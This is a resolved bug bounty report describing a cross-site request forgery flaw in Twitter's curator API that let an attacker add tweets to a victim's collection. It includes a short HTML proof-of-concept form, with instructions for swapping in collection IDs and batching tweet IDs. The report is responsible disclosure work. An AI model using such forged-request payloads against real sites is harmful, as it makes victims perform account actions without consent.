Add tweet to collection CSRF
X
X (Formerly Twitter)
Submitted None
Actions:
Reported by
indoappsec
Vulnerability Details
Technical details and impact analysis
Hi Team,
I have found a CSRF vulnerability which force victim to add tweets in his collection.
HTML POC :
<html>
<body>
<form action="https://curator.twitter.com/api/collections/STREAM/content" method="POST">
<input type="hidden" name="tweet_ids[]" value="667977435124658176">
<input type="hidden" name="collections[]" value="667916850294951936">
<input type="hidden" name="model[id]" value="STREAM">
<input type=submit>
</body>
</html>
Before using this POC change the Collection ID to your collection ID and you will see that tweet will be added into your collection.You can Also add so many tweets in one request by adding "tweet_ids" parameter multiple times.
Let me know if you need any other help from my side.
Best Regards !
Vijay Kumar
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
Cross-Site Request Forgery (CSRF)